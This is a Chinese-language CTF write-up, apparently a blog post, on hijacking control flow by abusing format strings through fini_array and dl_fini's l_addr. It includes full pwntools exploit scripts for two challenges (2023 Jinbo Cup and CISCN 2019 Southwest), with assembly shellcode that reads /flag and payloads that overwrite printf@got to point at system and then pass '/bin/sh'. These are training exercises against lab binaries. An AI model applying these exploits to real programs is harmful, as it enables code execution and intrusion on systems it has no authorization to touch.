非栈上fmt劫持
https://www.cnblogs.com/seyedog/p/17891490.html
原理分析
程序执行流程图:

函数最终exit退出时会调用fini_array函数,如果可以控制fini_array,就可以劫持程序流程
dl_fini函数
main->exit->__run_exit_handlers->dl_fini
dl_fini函数中会调用call rax

我们可以控制l_addr,浅紫色为残存下来的l_addr地址,我们可以利用fmt去修改这个数值,劫持程序返回到tar_addr
偏移计算:偏移=tar_addr-fini_arry_addr


例题
2023金盾杯的一道题
这里有close(1),没办法输出,这样我们偏移就不好找,同时开启沙盒,只有一次非栈上fmt
思路:直接用到fini_array劫持,通过修改dl_fini数组里的偏移值,使函数在退出时执行我们写在bss段上的shellcode


我们可以将close(1) 修掉,nop掉

完成:


保存

偏移计算
偏移=shellcode_addr-fini_addr
0x40406B - 0x403D98 = 723
修改的同时读入orw shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| from pwn import* from struct import pack import ctypes from LibcSearcher import * def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a) #def pr(a): #print(p.recv(a)) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
#context(os='linux',arch='i386',log_level='debug') context(os='linux',arch='amd64',log_level='debug') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') #libc=ELF('/lib/i386-linux-gnu/libc.so.6') #libc=ELF('libc-2.23.so') #libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6') #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") elf=ELF('./pwn') #p=remote('',) p = process('./pwn')
bss=0x404060 shellcode =asm(shellcraft.open("/flag")) shellcode +=asm(shellcraft.read(3,bss+0x50,0x100)) shellcode +=asm(shellcraft.write(2,bss+0x50,0x100)) pay=asm(''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall
mov rdi, 1 mov rsi, 3 push 0 mov rdx, rsp mov r10, 0x100 push SYS_sendfile pop rax syscall ''')
rl("Let's start!") payload=b'%723c%30$hn'+p64(0x40406b+8)+pay pr(hex(len(payload))) bug() s(payload)
inter()
|
栈上fmt劫持
fmt直接修改
[CISCN 2019西南]
给出system函数,但只有一次fmt,64字节,修改printf.got-system.plt,fini_array-main

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| from pwn import* from struct import pack import ctypes from LibcSearcher import * def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a) #def pr(a): #print(p.recv(a)) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='i386',log_level='debug') #context(os='linux',arch='amd64',log_level='debug') #libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc=ELF('/lib/i386-linux-gnu/libc.so.6') #libc=ELF('libc-2.23.so') #libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6') #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") elf=ELF('./pwn') #p=remote('node5.anna.nssctf.cn',25279) p = process('./pwn') #gdb.attach(p,'b* 0x080485A8') #sleep(2)
printf=elf.got['printf'] fini_array=0x0804979C system=0x080483D0 main=0x08048534 gdb.attach(p, 'b *0x804859E') pause() rl("Welcome to my ctf! What's your name?") payload =p32(fini_array+2)+p32(printf+2)+p32(printf)+p32(fini_array) ''' payload+="%"+str(0x0804-0x10)+"c%4$hn" #0804 payload+="%5$hn" #0804 payload+="%"+str(0x83d0-0x0804)+"c%6$hn" #83d0 payload+="%"+str(0x8534-0x83d0)+"c%7$hn" #8534 ''' payload+=b'%2036c%4$hn%5$hn%31692c%6$hn%356c%7$hn' #bug() sl(payload) rl("Welcome to my ctf! What's your name?") sl(b'/bin/sh\x00')
inter()
|